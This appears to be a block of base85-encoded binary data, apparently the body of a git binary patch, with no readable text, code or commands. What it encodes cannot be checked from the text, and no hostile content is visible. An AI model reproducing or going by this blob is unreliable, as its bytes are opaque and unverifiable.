zW3%LW&5;o-~T|egwoO^SU0_MrZ~E{p%7lLmQy~i0^OL^lj6m>eQTgDJfEu0^CIp=z-y!uRt0? z56(Kz@OeLM-(B^E5SOaHq_uq$t1n$=S@zSAlO2??qPvBx;Xg+qtJW2pGWxRqAdD>0 zqOI!>?>ZBd@!m-e%D8NW)!BzXMRhi=b!QSGd-g?kW>w~R4p#qWlg54hZPIw|i1v_1 zbhYQIj$zVJ_3+a;XNWNf(J=n0;T8T@5$`nk6!Mu}6wG4D&~K2Eak|$mtnW* zi8M@Tr55cusQAH49J=3G-!r2K8Q;SHZf(!S>=%j=ZYh)TqzIWEr|+Q#g#P=Z(l?HS zP3AR7RsioOnv+7-G&5sNQ_b%`Uf=WOU`syqJKiB59_?ze?9o4vWv%+2N8`i7!BOAS z%v`;e4lJ61m!sCow5sp94t<)>4sb|_VQ*O7z1$Sp-9YIss=lWNUA42mr>d`A-*bP8 z?cW`=zGsH8XB+iBkHvBNvFm&G{f!8WsPCyhOn5c^Q`Yw^d&uU@;-H1;aD5N???q*w z4pz>U=n)tX)Gag~_#0jcC0jRO^ItI=WF^%1ytK>-m8^j>XsK252O1&%CYEXbm<{Nk zoZ&$Bl0*yogT7btncqtZ&C4yrb+*XqRdwTJqm+SKf1y`J6{4^C>}&ZS9GIT)538@W z-$nIxZbV;w5UGPpMO~om$AwJkhZREOY+e0tJ5x-44IvZS`k=axr4JaNJnSGEfzyQx z)oO{<-w){7+y2u9oHrFh+wy&!)ai+RKv8Px2N8UvFT{#Q$*_* z;w~RtYz$^^rMfq5a&}#2^>(A9w_kr@Z&6}nBD!j)*cjd078{rKYM4!H5TKb{+7zdvH9WBUr zXpF?Ozd4L&hkn@nM0*iE7JZrvbaxujX|Gz{-StgmcfF*$C`1>dt9BxKT2C9%vkz?_ zqR$uhYy;7i`#JsCh~D&g6rzig1<_kSl={!V*qF|*vM?Ri4+_7`rNO?*C;uAcU)ZIH zLeg0+V4;#rx<3J)dA6fasXo$wc}A-0RDDve4rL-utXrZ`x&1JdB|XCva-jDMn7=AC z`w9N`O6E;=P?Jx>rAUY;NooRx(-IiSWZ{PgQVPa{q`v6Dqqz*b#>n0&F4fu|0DGM1 zoyV>10hl7Sj-ikp7E(QqT&k~w)m0BxD4 zR%+};NA`1Ku&vF;)c=c={y!N>IoRJ@*f;dQsAA}UrIH_zN|D$FOd(Y$B(WDWc##ys zbZ9)36VsnptYoX0o?QoX6e$WZy;|Joe-gD59Ru{0*>}ouRbzy7?M?#zGSFKse$AuN z(R8Wbsgv7L^*v=~JYJCJ5A!*qXHD`uBM~*}C>Ka(1&cnvHRQTrtzEj((47pa&Yw_u z;N$j?yL2A-R%Ys>id7I=RK+T_=z_&6oC$ZCrn*GX%CXDz#@%cUYPsW&s4vYjUwsri z939^pS{mt5APl@kD3+sLBq%&^)1L%-SzmUJ0w~Fa{|P|v!v&*Oh&`!qSWr{Vo8eOe zu+B!E5>Sr&)+qtstmeJ6GEiw_e9#`(AXHKuf-c6v&b8tQa z4iuP2WP=gZ+AU&`qg3|QS5;Y&oP zMhZsN{H#rKRNWjow^P<`q!Y7bFC(?pH_SRm3kX5 z!W<5DSDnE?A5doCYa)vKmx0EmF#r&-@}(PCKP>cHlB2RSVPA)A!(6k&E@XOeRG6L%pxdgRxz{(FnA|W2m2S?sb~Xv)syju+&9y4r2-xzht0(| zM@rv@$7OR9NLi&nnO}zfgv>q>sR;ZJ*$uI6?f$iD7v~T85-uv3D%1X$`RR@~o^AN+ zuyc`-YJ|q{7y4?Gf%-E4R_Lou{@i);J>X}g$bJeb=9dpzqYk1s|H?$EC(xG?V~$oI zKi(8M0qWiqs?F4f!7-u&w)*&A?%z`J7)Kbne+z1B+MgeuaXies=lVLV$wB)MgRX=0 zPFlPL<{gwNOdRNRhC^Qg&cO9$aVYA9B~iq9eGV$xZaNd>d@LH%@=Ld<4aTPD`{)*@ z#B8yh`QedW#D!!sZc?IcAHv5Br{Orh|3H3t@_8yg^dHU-|MCTNVbHYOMaP0i> zLhxibKb&;Cgceu1#6msmZMY))Z?g^5F>^GHhV#RUzkX}~79F){_x>&CWPnyG`Z#E% z%U+9Csy|n*08Cfre`Tf=Ud~9xl>0g9FT}&N5*n@cZ~5#G=qN>Zq)F(xXDt#s%F)rH z?<^^4cO)U}eaxCiL@3&^f6G^$guIx{Xm%;`^3YCjCNr>}CsuGGMaBVH7O{WJ-!WNH z9PkdJ_iv%qrcz*r`K>`}i&*IMX@X$-!nMG3a>&N?n`IWJe`Eia-|#Cyh@wSu}<^?6|pTG^<@O<02-Er6H(GgB$qGh{s_Oh=+k^679H ziNMU(o?(XN8OGj2yyQ~0fRD9rnQ7Ua;r%nw0u4?UYC5e=^sM*K++EU}>oc%4qY50N zjLoBHFWWq+N6fE5`scN7yzIKIVI+8bi@O=7nwfn99s(d;e<1 zzl$;1gV;w;G_=C*2v%JLw0(3nYA@prReagOK=q~3v9m$U(-cNOuRttoY8NnBfRNhV|!)FF9XjMLG0mzdJbhFWM2PzvD;{=sQWOJ55fPK5CKE zh7TgUyFj{&(w{HZv|E2Z{wu4W!F21)*M70->!AAcPPk;G!)!fi$NK%1J2?H=`m-;F z<pC^>tO7@jmq;Rh2|TRh;lLSc24VwIx#Jn;OThqdR1+4Xoi@ zp_8rCcA_2CQPwP@bx@BO;#K?KMJQZ?ektSpiy6NzZnZupm=Aqk49~ADp8=n4Tpok* zHT1%#5$j`$F|abbdQRCDp@CQ)(+mHfpHNiZd`9s4 z3|;@u_yJa=$ak>ku^^@+Qh_a4|B~U&Y4Qes@Vb3X;Z<0!yii9(Z!Sso<*X<<+83zB z(tmTKC=PtBhO3Mx6;EVO2>7^I-ah{?RA2*kv3)eGW9r_trct4RapkuFFz2Jb-jm1a zPQ|OaDFs zKm)dtHFfYew17XYPP>u)|_~@CU3Sn2t#i zw^e+k8RbCg*$=oHQ9UW%XaUgJ&2rt%F#i@ze0d%wl=JpY{ZT#F>taB0)(Im68?ego z8w-Tj*EJrJ#|1MVHMlSmyZig>E^fn>eY?WGeLb!~%jPK@9rzhMRA)}%yWk7?<3j!c z+LJ#F{z3bjuMNQ;YW!KaLaZDpz>3bdeW77kY;;MYFLYi9U(TvqzVrpwHtayLlh}mj zV^=DiBsR=GXaN-MKfV9x^(y~TEgkEPmSF#t%ij;Ewc&Qi@UG7_RfZj&ES7gbU~@&> zf@?4tTE*HZwpJu1U`5i{Ux3i6A?gK4gX^2^^q0$s|C~$MDi6U^%&-~xk>&2tujDV3 z7&1Uj+AFkcxUtIsjZl&%2$G2god2|&0&asWz{39BKPfR+Na3U!7z0;q49qbSY0f$p ze!IuK<waIrT`WImh6$H%Z!|jC1}ByUI6)L4iWDXf2e1mce^L4 z|H^sKU3G%U2Yn>_fL*@O@Mh4FralNLW@;8;8r}iBAgdCvAg-D6O66C0jE2|W+`+wI zJzhD-y|iP3EPaK9+UE_dbI6kE!}iq1qnzQ-Y%DZmA6BH+dvkW(ay?-K2IepUzq0AW z)|tcHOV?OBVf=kGSKl_f|EO$<{4lU4c(9lXOL`yq)PjyI>AgN%V&r?wW~S!@?{f(i z#F&q%9(0ve+wd_^2*QP%P>#`{j-7-hVc`GO9l}pR?m=|zUV0eMXU+=^JK*5^Ro>8f z2i!|P!J@2NF84v&fx1}p5psEcA|dTD?`tAd6!jp;bPG^T8pJ$3P&dBNx%t@tX*0po z)mVLQKKhDl>;drj0;@-6tu=3`RuBS>77O)S$+mL5*fv~z0j%X-Bl#;I=?ABFxfgIl z49KTMP(U46e>|kv2JfCvpv16JY+DC!{BodtZC=hM_w7Hj_23u`_L6*G@N(ouu87ae z**WuO(J`E80oT$Mkt&e>ajk!rCgs<@z<1{5yEtLJEks}x7SBKS38#k@7Q;arSOnAv z8v{S6FKU*gy@rQjfr;c$Y%lS|Qf%}FhJ^Ry3tftJ?w4cze!6#bz_&edbl{@x$)iI@ zZ1)X#&lkD|GqMy?UfR23Lfww{=N>1$cNrb%wY}j>=B@&JeSt3^2O+Y}{qqRk)!x9G zhP8Os9+Jb7*bX?)Dw;L{)D?--M+S}oRRmVja|aCciKT!yF;X&Xa1GEBKkGQa z*#p}m8^G@i{Ws(9jorP0AAN!Mz~&95NRXK&5F)lrzZ`#vOb7fX<2rV*W9w8*3~)@0 zHZ%<@xq~#w|ImN0kn+9A{0AaCza#(A1MbmtaSm^6&{oSETZ~|wl13uRe>4Aq#&rHe zx2PSirhEFJokV0*ro?Qqo&NjCCbGVq<}>MgB@>}A{u}=LvM~Qu6t8?*hP{S+4Ug+5Oe=#Zv~<8g(ET2x}JYUcTyPEC;h6r)AUtymqlM49NqcZ zoil#G`0ImV*1 zaC%nzziq~MGLRohg%D*8W?7gHuIDA70fLHAgINd|r6=k5&g5Sl41=|Dsw<{DFQKJ0nMcbc!Wk^bTzEu=@s zcSZ^74syQORO#Ol-{~NLZx!D`ya4B^Zf?Yu1!GZbpaMK{5f1R6>Oh?Y#{9)*b?B!= zK8kAyffTYzD#4IJ{oDcPFF6i7O@+^ajjWh{vFh&B&Q&EiTa4TQ7o-GRX{?=fCBEMm zKWn^u>7le8rw8&6Z`ApVOcf#GQA#SR#1GA+)1~^X?T`}Gz8zk&?STp4PCS6Omxrs^ z*1(2~H1MOXf!Q#6A{Z{}Qsp;3=A;f%|4~osaA0RD%P~}bqpN#C5Z@ofn=8Ex4-=69 zNyMfTT^K3x*X@RDRqD}MkKOnU7mak4qLH!eRQA`mt43b9(K3>(1P8%&unb5IBw>tN z#3v@V0jzJMfu*8*ZRdw{^bfRx4Kfm>24mgLgWOApj;j&-1NCPmJ$=Dyt||2eYq-J` zA)(UlzF_Z)wP)g1(p>zEeJS&@V2a&UISD9=D@k`rRkHV56k(bw6XD3CxVIJStEhl6zbk&>R$ZgawS^! z(U3h#V5N}+LP^Po_KBl?1Qil;o%K)3EPml%nXmI2jFkv8Eiyg#`|n&v*Eyg&beSBqSRuGlI8D z03eif{?s1Wrs~#3_&}dcz>a*ut~5n7PLlddH@%O<51lJS2_Pl%|H)x{15M^NFG2lP zwYaMi*gj?lUCX!@>c@D}_xC>ombd{ohk>rpL<~`FN!0r*s_aeXyW2T$pAy0b!VIbS zA6t=3eU}`@*n)k2Fx3zA`!ZGLrL$xF7zdz;e*hi z&C8AgXltWd#gspX$0o0ZTa^fy*#)9UL?iuoa|mPtK89?}!c|Qay90g`TCsY=xnY}x z{*gX^TpZ%I&L3CRyJ8|CRlpc$=$0*vZ-e5S$W=||jiM*v{}`{uA2aguz~A2ep86@n zcV?EXC~?xvzxZAUxBt%*b@YckUaLkd=Vf*C?8F8yBVBz2`kQQ-c5@u z>TGYgKQ)3(Y`cvR4>$~Tr0)fx-mn*E5Qmks9j1Wp{Ym){YK`4u=?KfZZ&`}^-aDfp zX5Ko!HNZZK7K^qJh=AWh^2EX6$G9Amz}9R*Ce7O*7SiS3CiD3%U=KZ!8iEWWEfVLL0qa?Zwt3+K`n^IZaH8qm?G}cxlB7p43}&Z;j&x zx)Qn$I7YPcBH~!z3-&OA*8#^jSUAS>AI!`zFbxQ`Xf!Ww=#J=kG@c*1pf#RPZiVNF z_-}VuFu*UvbgaKG=Woc0|62QGDB>ErqqIM>R7nsJFs%S{2By>>4NdrPdd0qkgc&EX z`XF4~Q_6VOab9 z+fSzv8_`dL`4HC|HDk4`kA5yODTH;vKhmuX0DGq`rzx0E-bKU;J5h7fcvR;Hjcl}r zBf2@ahXRrh8p&3A4KEfp9FKd|mT5H|5(pDOIj)$^;;5R#&c_~?*dGYs z!b%YLQmbN@);ER&M-}q3VPRMn+d?Jcg8N5!(3L7dxjRuv&_hWB63pf=NRYqSjU&a2 zBxzpIlZt#+NB4pq$fOJ_&q;7sJ%THQ-p0m{bT65R@cCuo{rR|Y+=8ii?#tQco_jpn z_xgY7=$_k?Jt2EgC|xa1FTyYLU1hAtC(ZdnSN;+XMPd)Uj(PF#`UZSrgl5AVAx_ou z1Ya8VM%y?#l?7zjd|1_K{Rub%>*TrhQ!848EENrLJLi;Rt$D_2*27SpN;X-Tw zy=KH=Xt-3pP4R&!xh&*IF{(fJ+LhYqxg;6!;?M->$B)fJt^+AT1(+NUV6&0GlKj@Y z<)8@>;Mn62GMJztD_iYe0);mQ8)x>k+E&RL+F7y<(N)*7`H$`VE7ylq9x6jyp!y7Y zQz_)xFBlsm*}@TEB-Q*4xw_(9a?`c*^A_xXy@C_K^zYWQ8cyrY8cPTk878#<8uFGF z+@Xo_5xTEsv$6`8ZX&1ZMuM{;fV3D1T#s>I5BqS0^rY;=E|eDLqtYz4(+J)S!|&$Q zIQP5@nV`d`9H^)I3`i+F9g_;-f!|wb1jf7P9?h3p)*3m;YWd!Sr`uvXx$&by9kB({ z18T;w0^P7b=fJA6#x}iTZ~}ItyN!U*>XiMFT#-lmNg43N zuzRCgVdVqA@pJY-pPBDc6i2_ymiaEdBEHKG_%2D3f2Ydd^aJsS)oHnYNSg#%&aOsC zEvEY?=uF(a&e+qI>JWN)IqESYa;St|E#C6QujgeETF49DzX*5of_IYUj6kn+epUyKl5G&zY+*P0a`eNb58G5LvNg`lfSJ)IZh=_`N{rc!6#0g0tNwfVS0^n(1C zm$TufNsM1iMEqi9X#-6M(3K_Q^;*jDnTmj^L?@&$R}E3_5Eq-w8_r1h>_!#BKaSf8wGh%C?TSgwF6%hFX>o z=Kz6BW68FJ8hW*{jk3gVK!=X_O|T5HfR+-R!o>ZO3&1%>Cd^0MIal!-;P=SgnES*p z9rEPz<7Dn(4}9XY5gxey6j(?kM}uxG%g(&ch&_u2nuif4o8yxHL%A~E765keAB3G@ z)ChaScvEb?Sf2(_DXdH};34aR5QJ;-x3Dr;oh-)!v|)}<}X?zQ+oX?JHUMG;0{&cFTnr7p8)?&+ZFtELh90$Rt93rGax+7Y!P2Z zQ!;AkM-gUVUM0LNxus@KeJfq#J=L{>lqJ-C(4zS=B(>vyxjspv1R1RGAZ_yp^)t$n zylE7M`~8m??(urKnpNH?Q>+q7%8EH$=WrUhldaWLUg*Yj_)GfW4T#GZ`7ozt=Jl)+ zGgSFl$hB`ht)LCyCX_UohpeY9^m`{el^aH@8T-IlhC#0lDKIB6q0g>LKXdvyffG?W z__~&(dU&8H4$lB>6ycZpibi~>_u(X42y#dz=sn6OL^IWSA+qLPrN)ZPmwNro6q<_Z z$VCm?3-#UybWr`2^G`rQ5w^8^rMCL;Twcd>qL1(2C!a_4q?$KJqB9`upX&fR04q^G z*<@bxzA_{iNmmajibB0q73=*h`Oh&3CO~4fxKGmAh+l*S-Shv!7cobwazs9Tq5hwE z@d`viK1qwDnHQX#BIO}@1J?Nltji0$t)qx}X>XxC2|Fn>K5L^;aWH~;*l?IbAXS@H zM?;_o^Qr9U9TxI|n#B9C=24S-tbHeEO(~?M% zQ04prGCY+s9I}^RV0jqvD z1(dxR9H2))72aUx+$Qkp+%FtrrE9GvRsv5@pNYMJ#Aer}GzL`RdgNJOmoZl#t8N{* z0AAwXviyH+1Dgl%ZTKF2cGrDs+3;wIB^!D>`uy_}_NlU)50jw$s}s##mm<4)7yn}W ztVsr}vk|9EMIJxd$k{U!;h+l`Sap33RH^E9CH(P7embXh-ep(q8i>7ikflEMe z|ME^KOX_sfWfGi)L6PaA)g;x_2~HNZHNyw-sF&GGcO}$0803)@XkOIyoLIsC1{`DNFU|e*3Zv(HHO}%fj?z^BsbN0?d4*+jhtZ$VNe&e=u}E&v(Vp5l$)h@$kHiJvET0#MsFJMeSm>lS_*9*M%w0Z;iRV{5z~dsPhIs@dn32<=q(bLJFZ@Yu~yGh2MpJNWVD{4{F>LYY$sq1$x0o9qL2VL8VE_;4J$ zX@;HaiJT&`Td{fdPxNeUVHaqkFOxzE7;^ovNzpNrzJE6+0 zb40##Iy5lhMbk79V+lOb`#BGL!ZbyAiu8go@tD1F_E03;>&-_g1w*bIx$j7*|ChG{ z=r4|LAJEOO2Wy%=IJ_mkwa@`>hi?{!e|X70wVmS=gcu6!tqZE5uS@5 zZ_Wp^vWB^rT+ka6?uA`L2K{;TVR6G=IRs6isu|~np!Ash^@Ee*>Pc}=P^g7mx2%-O zn*mJz<-9f~Z|=*9JzLRV4MPs%eA@K&hMFH3^D1xx_*b|S+Vz3-ay|kxE9TWp0GL2k zlj@PdNii^FPs+^TloWSM*|HBZVRgs!Zfps9R|q6DX!vpbvP0yTq!nuHG7|F`g1sfHRjq*t|2qmp7j#(xpYnTo2ejeJ zF2X1%zn;P`>6R$B_=l)>`&;-%@Yo5D3;GTG*w1r5aL@aYA8I*I-*^#U*9|&IWWr#= zBoU9p(EQ~47FBv!0RFi;mo3Tapu5w{@g9PLDZEiA+$QP+3{_x`SOW(LILOz8s&`I8 z2vO4JR1=&|)@CLLkeu@crznP%CV+>cVJ#oX6NViL^`Zy?OaS?19i5Qt9+nHi{;3mk z&6y9dcRa5Rat#YeWnT?BBQ|~_Vm}23VNr#@HwlTT`kIS~L>25OtcB_TkRmK?!_p=2 z&@l8))Z)c26d7_tFoN~pK2a1Y=Bp--Nn=7p)uKpU3x$XV=( z@~3%<)KZ9MN1PIG7_8s&=ROhs20a-1{B|K=vsuas?79$)5Uk}0EQKLvc0c_$fz{{) zR)qaMh(!Jy_BW`05n&027izZyjq0QVi9RA0oeXlpO0+9eSsP^e?uul+6o#@R>K7-nBpc0ON)P?E?+YI{pbc?UTdLN@IXM2z(#R?V0JF)zsC2Kdm=xRQ) z%%+1QWz%WDiIiDRq(o?$2>fvGwRYkstly{m_w{#I@jyxt?EAH-6-njDQA#!UpU}@3 zIiP4EweAh|5Hb5EN&uP+=KY^GsG2a@(l3~F{{v^?d%;cbKg+c^js5SGYdYH@*H5T?f;=8ka$It}CiW4tUc2;?IXI7GgXlw&!XpeqBzID~+( zrZn>zei>MSx(mvz2bR*=aN=84ZK3>pPwOX2%py1(_04q6F@ZIv7s#kw>#kfS{cCcE zR&~AjX3sdY@jXnG6z*QCcx*aLI{`*mpbNAUtRk!wy2WPmAAgjIf+OG?2Sz~zO?ZM( z0W45HhZJUDMrvcK+HuW%ZY;v?q4U8@ADa)Oz5vExs<{^zsEaH)oD)MigO8Cv=aezJ zDN6u}zy^U!>!&|`4(I64@=9_wVgfI;1Apd*P$Q9f(qfIft1o=Xkb#ffibFqR5tLaYG9yh;OaH48xZ{` zB>Ix@n}wkL&J5Z%sYZzZpa)cw8X18#$lsuOia+T1v0#!L@N}Iy?_v@iU-hrdP^Oi6 z=P4R-jem>iMB%4N;in+%|51X7oG;Si96p$PX?_Nxj|12vh5*);&>a;il$)Lg}Nb=>Ftb-_Yycd2GSl}rhJ+4uToaRSK)1P2ih~^2YfF;P=PNc6cC{eJBO`R zwR!c)k<`uh08{S5_dy$2e5F4?cMt@MpA;;Bh=Y^})VF$5!GB&1_=}4zND%iIAfvRz zxjeKd;A?u4sm&?PQ$B++)8Vrm)&`O{WyNC}l5fCFHdp}@dsd>yl zlz|MWQVnTKgCEe+5Q{@q(C}MjX=LEsWUvV+*RnJ|LQ(rT0t}DF0!MhnSJmGDB8eQL zJzs+pfDJ#kTLR_nQyt(I7hZ6u1h9h07uJ{E_7O(~^no|UxMa;Vriy0&rJk*UX|uqZ zF4PaFe~=N%>SPWhXWfi3gj=RDU>(-|8dA>rdU`oN=k^Q(aL()gvwUgGNjJql2IlMC zm1F@O-a2O@qG&5c@`NqldUH&^&J}}L+n08L|9rfntz-fk%=X)Pho>Ve>JhT-4h%IAEnNL2r7Pa!+A{u?B7tD=n+{eP)LnT21KFeInfFLyRI%r^X z?#qmy=+-gpe1rKV6*mQ?GD*k=kbU*;`4s2Qp5;yZz#G5Pa*usE+e>=OW)2PJ9$mv- z#OdeP@Kc(~c@XyT-nwtkIxkdmEY#qvcw^lGc3F#u*8U!Zk0Y!dKY*H)H9+aX8wSW^03K;+Q-71hWjchH!3s~DN_pvoAR)m1?CKB z!2-lk%y*DfvY*@Ig7QG&cu)6|fj!(yhQ?>@@l+2@G+J=t zJmO2+X2j!MHad?v8%hpWcx(kI%gy2Ylq?Y^82*v(W@~cKj%H)V0WL_gL zD21Z&%g_Pn$BIJLn}PFwFQu4&KKAz#$y9AmDEz4X<|AuhLe(u`!s#{e594Qzo}QbK zP&(NNo|oZ%ZEM0z?1=B$Fs3hL0O$wQwycv(%O;GF>p6MK{MQ^lcSS$%pWhd;BhFh{ z(`a!03ljZ#y9AAP%0cvJI_Zndl5CF0{KT3iW|AAu4aX$u|C%a4_#TO@VyEB&`9T47 zNd1!9OpXEZ2ufp8(-!%Au_}Po(%OpJvFqs+8AK?m!n=|y>4H7?e{PJM2lZa|0;$TX zX}u9obN0!8A5B7Q1hiDqd>QG6V=!-^pJf@aXlBoh&eZ&6I1U;0 zXJ|)}qi(<)r5ltQXw}f&YH}o8OUhdDmwNMXapPP+z8JAQ?1|?&C@X-WB9(;ibaN-r zWdsqQN!oTNgORC{A0fKn*t7h-qTW zAuG4!4SeVeY#Y|{p>-qttwvkLN@8&Z(EuUzo8rKyh6VEX>$*aDfi6E$5hk0C2$4uSng(K5 zbky%TMMnx|nvRaL>1ZflTx(t^2ooxj7ZviY6-f_>C^a)-{x}HqXZ6n5sVI$OQHih06T*Fx! zP8C;%Zf{_>NcdzutB7t9-vyyQgE?IorIw%}(j}CP^$}0A;;`e!2_AsC0anCjGVG&KK_atMTUa8uxq^ zSynvE#SG*e-vGENN-yeT)O~5q-uTbZCd;_W@k(CK_t#(N3p^&GgIc%=H%Zrf@k_-h z?cg~JfmqGO@*&=@=5yRdzU?Ap;>4`U-wlVCyhn;2U%L z2v&FQWtefHTq0QZiJ32#qHC+<5_ax4=3wjYR`Xix?lvr`oq+NeTeyBLrJV(ei~n#f-j<8el@&y)ku_= z@ed2EER07Wc#f3F0l=Z8H~+?PseqUzU1FW!&tgJ6Lkr%dLU~DtHX!O!nQ5se_y9)5 z3YO#buVX-zG)w?k%;pRI6vto~_|wh$r-pu!+SWrgX&$QJ#tQM<`fixgCr_A|vD~dlK=n zyPnvFT{k5&g@7nDxgbg+F|2Y7bvy*JOeSC!iJL{d!YTw1CZM|uh}H?%=>Oj27%K9^YGF0eV+Vjku97Ec@W=vSGvhIuJWRR3dIY|ZA7(z~ zjdUSRjaW2@Fr#`1>qOGZ3h7p>0)KNzUxb3jhaG|_5>w;f%9b7R8Ct)l^rug@0!!@W z-yzr9$6+Z;u|Z%H)@MCRtA(LINcD300zMzOGtmgC>~I8!4%QrMzA3S(yG2`LuLW2( zcg+*a=5G1ve-D0)Ku0+UCXsZKO!yU9-O`xh=x9!HRNlZ(w1b*(DQR`bt5)nGEMv*v z<#?C=S-%v8=VIYWsxUrj*x~U1eiwY6ek>9`lOOpV@Hu?AQW56k;$}p`=Vb+-#R@)u z|DVC9`LK4tCl9s_SgD+-hDnQm+)LHqr&sKUZ0U#v*+aRAVGUr5Gr79p{h>QbI?Ge+ zl?*iU39a6G`CXtaW^hOu=(2o;YNiBBu<^1kiPTmFS-`I=46&9+EI7CBO=N0PFANb+Hg6~bGxFq_If z=mobz!DE=?)=utx$!zwimW(c~bYJHwU2*o(smB?+MgAd^Kq7|FbVbTm@@xer%s!OsYFRA6rRKoYUoSxg4g5C|AprF(Vw zn?l@4m12`rzEEf`$2Ux$W+Q=|?av(^e$|6lsaHbS#Tu`A%zJh7`FN1eTNt}h;Lq(I z{>H!^L%uQif?-}J-&jCvwKxkvbD^xU1IT7T%h6*^FuKs+ITyZThX-APUU6YrD9z`;mHbik@(!#xsyjIK=! zx!e!Z$Y28c&4n~EqUs?Kpi8v_E8G9dzzXs|4^V$eWQARk0@lc{@=_?Wi9K_}nPf5R zCZk>m)Jc4WuSnT8n|{Ax)x1 z`q)OrzBtgZJG7g_)XIXEWs#R{5ioj~OwLR6T039Qgee5boq;E>KB z&9Mm*n=c+--7Ri-^#yV9zEHQX`krJ$w?VEDLQ&y$Oixt`5INToG+S zsaR4qRl$81Lf?=(|ByjHI4ZwO4 ze%(t-(sMn#S9K^k%Kz1`o@)Mue=rQab9%5tOTG0{d`WNrR|o9pFR~pzCv8fj6iA!^ zTc(_Ug})UmYw;rvDHI@+Y#QwRY%kvkC7rmZcbupUfuA|~A3L${6UL8G$Q$kvIEQh$ zd+rq-*zf|u5;vgejBiKZ2#3 zP{R?jmjL!dIb5}_?wU!`!R!=s#{do+=#c6W<@A~E*I0m4>#mwFb5xc#IUnczAu30_ zS@`Wxa_nyq0sIWmH|XWxAqDOqNsj}V@+fcyy(#o1%21VM6Dr{Bv8fe*;C)3{?j^qT z+}(Ag*sZ@-;~M`*((CjZQmniaUvij#>jCSzrdK|1C&kv8*PVpWvUx%>);lTUwkW-A zA_s~nLSsnTh}AteB>tAXWriOWS6tn*z?Qtq0ipcesO0Z5BDG>Cr3mfYMf`>Qm0umx zCfsUyA1uEHzqD^R@^3`ePy~quqFCO~$}JUY27V*_$6us24dF+eF%iO8e6osTqinsk z&is*iZ0xj$B2iK6o0#6!y;rQ{pnz(tYW8NmFUBJFZ9hGjRuXubqdT_?R1II*PJ!~z zjzEIi8D9sR)zv4*Ela})kY6i(0o(>6G~}osfI9=#9YnK%-CELa`V&!@LD#kpNA89O zJ@Fpg!r;*ERGomsi0-iXk*f5Cl6KC0pO{@hKo$;hxA zQNLjXG8^xZnq>T8)}WN4ajrjisl0*Zy{^$0oE68dn{r3u!c0Dnvro#J$*fraqw$0K z6Q1@lFB7WQy=1b>2p!SS2u(&^Z~sG{8iKcyI;xj{o`G-t`#QPjHFuO(J4L*@_eptm z6W>iaLv{L&mh#**%KVy=F773+R9xchs@iJTxRT*<<+;--tNA49VqEc5tLmh|^5ial zRB~c@Zcr|cDbMxG#o^_-H_C-R-mx3L{S$7~sE-fK93EHg`WgS4=RK<^HJfXjk36MT z2+fzyl8h!3)OOy|&s$c-#mm#oTHO5vcc})ljSyZlPl$Ma0-wL;e11s8^Aq{}e&_SX zCE@ntSv5V|`TXsO=N-U?1$98 zIsR{I(wUsr5l_9NC(Qzh=C3j7@!?L7c={dO{StRMX*fK-^drpEBc3O4P;WY)A7%|| zC?AAq)*Q?MG3Rg^~)Mw3Z=HnGP8d zNLn_Yq_kre+a)QzjK3Kt$$bVF(Eme@mi9h)0XpBU+v=;@%9&}kb(m`Fc4_NAyRG?b zi{jyCT$n$kNlUk~r8gf`qsmk*z0+T!S{UCu(_~b=rKQn!OG#Es9of>8swEFwnxk9N zHT$_=SYw*2T3U7?=hxA0>1F(_=7$T+Z?bCZr{~euDbBX~*lnGz+ImRZdIcP+V0ACs z;{0yIh1r8G1+PNdz>kdt%%dR5Q40&-04KNaka_f>cC)&wg5CKb>bi zh5d!g8uRBkWD)A2!lDC+)E~1(LwBT76Q(fs3;QJ5$mv;nBJ^KP&bY+VV^IAIudNsl z&Py?J#wC|@#9q^GnqPq*&DXkq-a_HPp<|nYm8lW=7}|g6nbZyo5vD@p?NI~x_xm4w z@cx@yc>M3d`}a8KpBJ2-O23BZFTtEF>Bn70xDtAwnfJH~Evt#r|6g_qbDq$S(YBCT z;pmy%1pvYoZ4CMV4gbXQf93oy{r zYQVWyJ_|~Ge4*kGs(*0B>?Mk-MQJ}h1=9kuRArjE|Kc_#5aBW}IS>iN@KhpP=5cWU zIImRB$X#_c{^YD0rnZ^73eWEh%nw%NRm?fz9}E6j8vcj6mm<7fNhob9i?$cE2fezX1Qz;6NZn@{}aTlg*1_#H-p zgUCjPJK2-y?!m=3$(|Hmc*rmrq_Rv1m{9+}Hua8sRis|Wl?*%C!g5e}I9=`G_(=|h zLJs!`IYbK|P@wSF%})MDehAX4rxDC#{quQ=rRN9dBk#Q1xbVu<0v)>CG8!Wb}EIP^68gI>JP6nD<3WXCC`(c;{Eet+cf z8s}>G9Uq&2vD@D8M04<&+?v^D+_(2_Z)sdBj7s}Lu=BBCXI-1}FV{Igi++Yh%uC9p zRT914d~%KAwN~RFjm{&K!6O_-h74h`3?b@p0t~1!u3^&yJ6fqtd#HHc_pb+kzUiTZ zJQw;Ki}|IHKa$BG$(&Xy95tNgP>1^an~!ua>6KW%KXrzyeE-d}zKLECXQsTlvn6Wv z9-B}K$=tu!G3VRtq05C4^dz=gG!^j*$LF5MC7T#y8OK=6F%~m}#84AGZi(0Uv*Svy zWuUlR?nXTgxyDr?s~(rkFE*K-{N!F0&@)z_ohbKLpPkHKf9}0k(Lm~K1QM{nJZABQ zxw{XH2rf6$omt^07V>%!y*HAjstD!_L%rO%&(e<^aT7<}WTqWOON9PCj&M=_tnzw= ziCG~8-274F5Jzn^850SB)tW+Knmkf1D{I2$70HtUg5xJcF%>PH-yT?aWUH$(FG8&LL5sAhN z8W1({8obm*j7|__A`^*9C0?qrS|7AtA|wzMAvghgPLfC+ZQ0ek!R!-5@%zE<^4MJ;=qZd;}2P`ecLN^q={*5Llt(jf6FJKuX9eWEl;z#a zuNKdcrffnCPjzxx%zw!OA2Ovn3ZFasbQ)3our8^3zBw-ZhSlH!^lZ$(z4te_#P!Y4 znYuuw{>Vxga=AZtfHK8($q)Z41sZvgk7luw;thSF2A%K--ZCw4Vk-VsUh~60k87uO zy+8RML5EAe9~ky@)}YJ!>H6Oe0M3;Wb2iOjxzIw#krs4P+;MKKUf1rCzs03{0B4L) zMiCAH!Za)49aNC0+BoIpMAiD~N5;i>YlE{*<5_5JVDBU6D)u0!^@VlB80mV4UAxqs zOYA58dow>=znU-9@AxQtG3 zghBaQIY1`>sS@2HX5VXB>i)3H;^iCg|6Q5eYuLA~F?z)RIiU}X9h4KP(G{ARBF*wc+he{eMH(NNZjmoQpZPdkK- ztNZHs6jGeTQ%!JJNXnonn|jV;c)8~K{$I1^-%+r5)_mLhXRlTzTjO~%;2Y{ejvi*| 